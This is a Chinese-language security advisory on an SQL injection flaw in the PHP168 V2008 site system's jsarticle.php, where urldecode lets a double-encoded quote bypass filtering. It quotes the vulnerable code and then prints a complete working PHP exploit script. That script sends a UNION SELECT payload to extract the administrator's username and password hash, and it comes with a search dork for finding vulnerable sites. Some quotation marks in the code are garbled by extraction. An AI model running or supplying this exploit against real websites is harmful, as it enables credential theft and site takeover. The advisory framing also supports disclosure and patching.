PHP168网站管理系统jsarticle.php页面存在SQL注射漏洞


添加时间:
2008-10-04

系统编号:
WAVDB-01233

影响版本:
PHP168 V2008

程序介绍:

PHP168整站是PHP领域当前功能最强大的建站系统,代码全部开源,可极其方便的进行二次开发,所有功能模块可以自由安装与删除,个人用户完全免费使用。

漏洞分析:

在其产品中发现了一个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。

在系统的jsarticle.php中,使用了urldecode用来解码用户提交的数据,但是在使用该函数之后并没有做进一步的有效性验证,从而导致精心构造的数据可以饶过系统的过滤以及php的Magic Quote保护,漏洞部分代码如下:

 
  1.   elseif($type==  
  2.  like  
  3.  )  
  4.   {  
  5.   
  6. $SQL.=  AND aid!=  
  7.  $id  
  8.    ;  
  9.   
  10. if(!$keyword)  
  11.   {  
  12.   extract($db->get_one( SELECT keywords AS keyword FROM {$pre}article WHERE aid=  
  13.  $id  
  14.   ));  
  15.   }  
  16.   
  17. if($keyword){  
  18.   $SQL.=  AND (  ;  
  19.   $keyword=urldecode($keyword);  
  20.   $detail=explode(   ,$keyword);  
  21.   unset($detail2);  
  22.   foreach$detail AS $key=>$value){  
  23.   $detail2[]=” BINARY title LIKE ‘%$value%’ “;  
  24.   }  
  25.   $str=implode(” OR “,$detail2);  
  26.   $SQL.=” $str ) “;  
  27.   }else{  
  28.   $SQL.=” AND 0 “;  
  29.   }  
  30.   
  31. $ORDER=’ list ‘;  
  32.   }  
  33.   
  34. if(!$webdb[viewNoPassArticle]){  
  35.   $SQL.=’ AND yz=1 ‘;  
  36.   }  
  37.   
  38. $SQL=” WHERE $SQL ORDER BY $ORDER DESC LIMIT $rows”;  
  39.   $which=’*  
  40.  ;  
  41.   $listdb=list_article($SQL,$which,$leng);  

keyword被urldecode然后进入list_article函数,提交%2527将导致一个’进入SQL查询

在artic_function.php中的list_article函数如下

 
  1.  function list_article($SQL,$which=  
  2. *  
  3. ,$leng=40){  
  4.  global $db,$pre;  
  5.  $query=$db->query( SELECT $which FROM {$pre}article $SQL );  
  6.  while$rs=$db->fetch_array($query) ){  
  7.  if($rs[mid]){  
  8.  $_rss=$db->get_one(”SELECT * FROM {$pre}article_content_{$rs[mid]} WHERE aid=’$rs[aid]‘ LIMIT 1″);  
  9.  $_rss && $rs=$rs+$_rss;  
  10.  }  
  11.  $rs[content]=@preg_replace(’/<([^<]*)>/is’,” ,$rs[content]); //把HTML代码过滤掉  
  12.  //如果文章有短标题,将以此显示在文章列表  
  13.  if($rs[smalltitle]){  
  14.  $title=$rs[smalltitle];  
  15.  }else{  
  16.  $title=$rs[title];  
  17.  }  
  18.  $rs[title]=get_word($rs[full_title]=$title,$leng);  
  19.  if($rs[titlecolor]||$rs[fonttype]){  
  20.  $titlecolor=$rs[titlecolor]?”color:$rs[titlecolor];”:”;  
  21.  $font_weight=$rs[fonttype]==1?’font-weight:bold;’:”;  
  22.  $rs[title]=”$rs[title]“;  
  23.  }  
  24.  $rs[posttime]=date(”Y-m-d”,$rs[full_posttime]=$rs[posttime]);  
  25.  if($rs[picurl]){  
  26.  $rs[picurl]=tempdir($rs[picurl]);  
  27.  }  
  28.  $listdb[]=$rs;  
  29.  }  
  30.  return $listdb;  
  31.  }  

直接进入SQl查询,导致注射漏洞的产生。



漏洞利用:

 
  1. #!/usr/bin/php  
  2.   <?php  
  3.   
  4. print_r(  
  5.   +---------------------------------------------------------------------------+  
  6.   Php168 v2008 SQL injection / admin credentials disclosure exploit  
  7.   by puret_t  
  8.   mail: puretot at gmail dot com  
  9.   team: http://www.wolvez.org  
  10.   dork:  Powered by PHP168 V2008   
  11.   +---------------------------------------------------------------------------+  
  12.     
  13.  );  
  14.   /** 
  15.   * works regardless of php.ini settings 
  16.   */  
  17.   if ($argc < 3) {  
  18.   print_r(  
  19.   +---------------------------------------------------------------------------+  
  20.   Usage: php   
  21.  .$argv[0].  
  22.   host path  
  23.   host: target server (ip/hostname)  
  24.   path: path to php168  
  25.   Example:  
  26.   php   
  27.  .$argv[0].  
  28.   localhost /php168/  
  29.   +---------------------------------------------------------------------------+  
  30.     
  31.  );  
  32.   exit;  
  33.   }  
  34.   
  35. error_reporting(7);  
  36.   ini_set(  
  37.  max_execution_time  
  38.  , 0);  
  39.   
  40. $host = $argv[1];  
  41.   $path = $argv[2];  
  42.   
  43. $resp = send();  
  44.   preg_match(  
  45.  /([a-z0-9]+)_article/  
  46.  , $resp$pre);  
  47.   
  48. if ($pre)  
  49.   $resp = send();  
  50.   else  
  51.   exit( Exploit Failed!\n );  
  52.   
  53. preg_match(  
  54.  /content_([\S]+)\|([a-z0-9]{32})/  
  55.  , $resp$pwd);  
  56.   
  57. if ($pwd)  
  58.   exit( Expoilt Success!\nadmin:\t$pwd[1]\nPassword(md5):\t$pwd[2]\n );  
  59.   else  
  60.   exit( Exploit Failed!\n );  
  61.   
  62. function send()  
  63.   {  
  64.   global $host$path$pre;  
  65.   
  66. if ($pre)  
  67.   $cmd =   
  68.  type=like&keyword=%2527)/**/UNION/**/SELECT/**/1,1,1,1,CONCAT(username,%2527|%2527,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/  
  69.  .$pre[1].  
  70.  _members/**/WHERE/**/uid=1%23  
  71.  ;  
  72.   else  
  73.   $cmd =   
  74.  type=like&keyword=%2527  
  75.  ;  
  76.   
  77. $message =  POST  .$path. jsarticle.php HTTP/1.1\r\n ;  
  78.   $message .=  Accept: */*\r\n ;  
  79.   $message .=  Accept-Language: zh-cn\r\n ;  
  80.   $message .=  Content-Type: application/x-www-form-urlencoded\r\n ;  
  81.   $message .=  User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n ;  
  82.   $message .=  Host: $host\r\n ;  
  83.   $message .=  Content-Length:  .strlen($cmd). \r\n ;  
  84.   $message .=  Connection: Close\r\n\r\n ;  
  85.   $message .= $cmd;  
  86.   
  87. $fp = fsockopen($host, 80);  
  88.   fputs($fp$message);  
  89.   
  90. $resp =   
  91.   
  92. ;  
  93.   
  94. while ($fp && !feof($fp))  
  95.   $resp .= fread($fp, 1024);  
  96.   
  97. return $resp;  
  98.   }  
  99.   
  100. ?>  
 

解决方案:
厂商补丁:
PHP168
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.php168.com

信息来源:
<*来源:Wolves Security Team*>